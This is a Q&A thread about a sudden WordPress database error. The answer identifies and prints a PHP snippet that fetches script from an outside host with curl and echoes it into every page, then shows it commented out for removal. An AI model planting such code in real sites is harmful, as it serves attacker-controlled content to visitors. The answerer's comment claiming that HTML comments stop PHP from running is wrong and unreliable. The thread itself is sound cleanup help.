2

I get this error at the bottom of my home page. please let me know why this error appeared in my website. I am running my website on wordpress. Here is the error

Couldn't connect to database server.Couldn't find database cjquery.An unexpected problem has occured with the application.
SELECT statscurl_id FROM `statscurl` WHERE statscurl_ip = '';
2
  • Unfortunately there could be any number of reasons why you are getting this error. Was it working OK and then suddenly it wasn't? Server updates, hacked?!
    – MrWhite
    Commented Nov 12, 2016 at 9:10
  • yes suddenly it started getting this error. Sorry what you mean by several reaons Commented Nov 12, 2016 at 9:20

1 Answer 1

1
  1. Login to the WordPress dashboard
  2. Click appearance and then editor
  3. Look in functions.php or header.php for the code below:

SOURCE

<?php
  if(function_exists('curl_init'))
  {
    $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
    $ch = curl_init();  
    $timeout = 5;  

    curl_setopt($ch,CURLOPT_URL,$url); 
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); 
    $data = curl_exec($ch);  

    curl_close($ch); 
    echo "$data";
  }
?>

Remove the code or comment it out so it looks something like this:

<?php
  // if(function_exists('curl_init'))
  // {
    // $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
    // $ch = curl_init();  
    // $timeout = 5;  

    // curl_setopt($ch,CURLOPT_URL,$url); 
    // curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
    // curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); 
    // $data = curl_exec($ch);  

    // curl_close($ch); 
    // echo "$data";
  //}
?>

The above string can vary from site to site.

7
  • If you use HTML comments <!-- .... --> the PHP code will still execute. However, this solution seems a bit... random!? How does this relate to a "database" (unless it's a malicious JS file)? The linked questions don't offer any explanation and one of them does indeed regard this as very suspicious.
    – MrWhite
    Commented Nov 12, 2016 at 9:58
  • Incidentally, the stated URL (freefilesblog.com/...) doesn't exist (the referenced question is 4 years old), so the URL is likely to be different in the OP's source (particularly since the name of the database is also different).
    – MrWhite
    Commented Nov 12, 2016 at 10:08
  • Nope note true... <?php is treated as HTML therefore <!-- works absolutely fine. Only if the code is in the functions will he/she need to use php comments // since the <?php will be at the top. Statscurl is related to a old plugin. The database name will vary from site to site as expected. Commented Nov 12, 2016 at 10:28
  • "<?php is treated as HTML" - well, only the PHP output is treated as HTML - the PHP itself still executes (server-side). (Further, if $data was malicious JS then it only needs to contain an HTML comment itself to effectively thwart the outer HTML comment block and to potentially still be executed.)
    – MrWhite
    Commented Nov 12, 2016 at 11:39
  • ah right, then using // or removing it completely will be the best action but agree this should be investigated but hes not allow... this effects thousands of websites if you Google statscurl_id. Commented Nov 12, 2016 at 11:54

Not the answer you're looking for? Browse other questions tagged or ask your own question.